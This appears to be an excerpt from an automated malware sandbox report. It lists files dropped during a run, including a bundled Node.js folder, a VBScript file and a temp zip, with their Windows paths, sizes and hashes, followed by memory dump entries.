                            • SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
                            • MD5 SHA1 SHA512
                            Submit Download

                            package.json
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\path-scurry\dist\mjs\package.json
                            • Size 26B
                            • SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
                            • MD5 SHA1 SHA512
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\read-package-json-fast\LICENSE
                            • Size 771B
                            • SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\rimraf\node_modules\brace-expansion\LICENSE
                            • Size 1KB
                            • SHA256 ed40371bfea6cbc1da96366b4089031fc61808a2c0bbed5a6b173126fe36beac
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            serialized.js
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\sigstore\dist\types\sigstore\serialized.js
                            • Size 79B
                            • SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            LICENSE
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\spdx-correct\LICENSE
                            • Size 11KB
                            • SHA256 3ddf9be5c28fe27dad143a5dc76eea25222ad1dd68934a047064e56ed2fa40c5
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            LICENSE-MIT.txt
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\LICENSE-MIT.txt
                            • Size 1KB
                            • SHA256 f996f6e050e6fc18086162b4b44e301bba345c87deca83f57a27e6d54195556e
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            index.js
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js
                            • Size 17KB
                            • SHA256 77f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            index.js
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\node-v18.17.0-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.js
                            • Size 15KB
                            • SHA256 5b3c0ac6483d83e6c079f9ffd1c7a18e883a9aaeaedb2d65dd9d5f78153476b9
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            regb1jblz.vbs
                            • Path C:\Users\Admin\AppData\Local\Oung527xbvdy\regb1jblz.vbs
                            • Size 284B
                            • SHA256 300a76ac61c691bcb0debd038e4b9467b9f693e410fb983dd4d8738257ffeca3
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            95a95f
                            • Path C:\Users\Admin\AppData\Local\Packages\Services\36d1\95a95f
                            • Size 60B
                            • SHA256 9c325a0f733d7bf12ff7f16941b3ad0a2d8d564ea0b331ade6a05d53ccd384c3
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            UcP30KkB_Itj9ZJzMbi_7309.zip
                            • Path C:\Users\Admin\AppData\Local\Temp\UcP30KkB_Itj9ZJzMbi_7309.zip
                            • Size 28.1MB
                            • SHA256 06e30b4e70b18d794651ef132c39080e5eaaa1187f938721d57edae2824f4e96
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            __PSScriptPolicyTest_cgg1jarw.rml.psm1
                            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cgg1jarw.rml.psm1
                            • Size 60B
                            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download

                            ss_1794416955443.txt
                            • Path C:\Users\Admin\AppData\Local\Temp\ss_1794416955443.txt
                            • Size 579KB
                            • SHA256 c54097fab84c7cbb6b1a7553aa0cf21d05484288c9749f9cac1e26cbc3e998f6
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            e596049.msi
                            • Path C:\Windows\Installer\e596049.msi
                            • Size 40KB
                            • SHA256 8f2e3739fc59a37623ea8ac1782f773ab6668e9108789fcb7cca9b3504a4e00a
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            metadata-2
                            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                            • Size 26.1MB
                            • SHA256 712bcc6fa81113d926dc76adb7421f5e8c8314ae6b6515ae80d47186eacfcefb
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            {9a1995fa-aaf4-45bc-8b31-82d933fe8908}_OnDiskSnapshotProp
                            • Path \??\Volume{af02990b-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{9a1995fa-aaf4-45bc-8b31-82d933fe8908}_OnDiskSnapshotProp
                            • Size 6KB
                            • SHA256 c379797a4b940d1af5d4c15fc1709f678cc0b4834f7c0e66b4b4524f1022389d
                            • MD5 SHA1 SHA512 SSDEEP TLSH
                            Submit Download

                            memory/2360-27-0x00000164FC420000-0x00000164FC442000-memory.dmp
                            Download

                            memory/5992-2439-0x0000018CDC8F0000-0x0000018CDC914000-memory.dmp
                            Download

                            memory/5992-2438-0x0000018CDC8F0000-0x0000018CDC91A000-memory.dmp
                            Download

                            memory/5992-2437-0x0000018CDC370000-0x0000018CDC37A000-memory.dmp
                            Download

                            memory/5992-2435-0x0000018CDC350000-0x0000018CDC36E000-memory.dmp
                            Download

                            memory/5992-2436-0x0000018CDC5B0000-0x0000018CDC662000-memory.dmp
                            Download